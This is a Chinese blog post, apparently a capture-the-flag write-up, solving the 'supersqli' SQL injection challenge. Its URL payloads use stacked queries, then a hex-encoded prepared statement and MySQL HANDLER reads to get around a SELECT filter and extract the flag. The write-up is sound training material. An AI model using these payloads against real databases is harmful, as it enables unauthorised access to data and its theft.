攻防世界_supersqli

supersqli

image-20250613162734308

1. 判断字符型/数字型注入

?inject=1 and 1=1  #无报错
  • 数字型: select * from users where id = 1 and 1=1 无报错
  • 字符型: select * from users where id = '1 and 1=1' 无报错
?inject=1 and 1=2  #无报错
  • 数字型: select * from users where id = 1 and 1=2 报错
  • 字符型: select * from users where id = '1 and 1=2' 无报错
?inject=1'         #报错
  • 数字型: select * from users where id = 1' 报错
  • 字符型: select * from users where id = '1'' 报错
?inject=1'--+      #无报错
  • 数字型: select * from users where id = 1' --+ 报错
  • 字符型: select * from users where id = '1'--+' 无报错

判断出是字符型注入

2. 判断字段

?inject=1'order by 1 --+   #页面正常
?inject=1'order by 2 --+   #页面正常
?inject=1'order by 3 --+   #页面出错

有3个字段

3. 查询库,表

先尝试union注入

?inject=1'union select databases,2 --+

image-20250613165336827

显示select被过滤,考虑堆叠注入

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行。

mysqli_multi_query 是 PHP 中的一个函数,用于执行一个或多个针对数据库的查询。这些查询可以是分离的 SQL 语句,通过分号(;)隔开

?inject=1';show databases --+

语句执行成功

考虑到题目提示supersqli,查看supersqli的表

?inject=1';use supersqli; show tables; --+

image-20250613165904448

查看表1919810931114514的字段

?inject=1';use supersqli;show columns from `1919810931114514`; --+

image-20250613170211983

发现flag

4. 获取flag

由于过滤了select 只能选择绕过

预处理语句绕过

select flag from `1919810931114514`  --> 73656c65637420666c61672066726f6d20603139313938313039333131313435313460(十六进制)

预处理语句

一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:
  1. 词法和语义解析;
  2. 优化 SQL 语句,制定执行计划;
  3. 执行并返回结果;

大多数情况下,某SQL语句可能会被反复调用执行,或者每次执行时只有个别的值不通,如果每次都经过以上步骤效率会很低。

预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入

# 创建预处理语句
PREPARE {prepared_statement_name} FROM '{prepared_statement_sql}';

#使用预处理语句
SET @{parameter_name} = {parameter_value};
EXECUTE {prepared_statement_name} USING @{parameter_name};
#{parameter_name}	用户参数名
#{parameter_value}	用户参数值
#{prepared_statement_name}	预处理语句名称,需和创建预处理语句中定义的名称一致

# 删除(释放)定义
DEALLOCATE PREPARE {prepared_statement_name};

例子

-- 1. 先准备语句(SQL是固定字符串,含占位符?)
PREPARE stmt FROM 'SELECT * FROM users WHERE id = ?';

-- 2. 再设置变量(绑定参数)
SET @id = 100;

-- 3. 最后执行(传入变量)
EXECUTE stmt USING @id;

-- 4. 释放
DEALLOCATE PREPARE stmt;

在本题中,没有参数绑定,只是为绕过检查

SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

注入语句为

?inject=1';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; --+

获得flag

handler查询法

MySQL 之 handler 的详细使用及说明

handler `1919810931114514` open as p;  -- 以"句柄"方式打开表 `1919810931114514`,ps
handler p read first;         -- 读取该表的首行数据

注入语句为

?inject=1';use supersqli;handler `1919810931114514` open as p;handler p read first;--+

获得flag

posted @ 2025-06-13 17:46  funji  阅读(221)  评论(0)    收藏  举报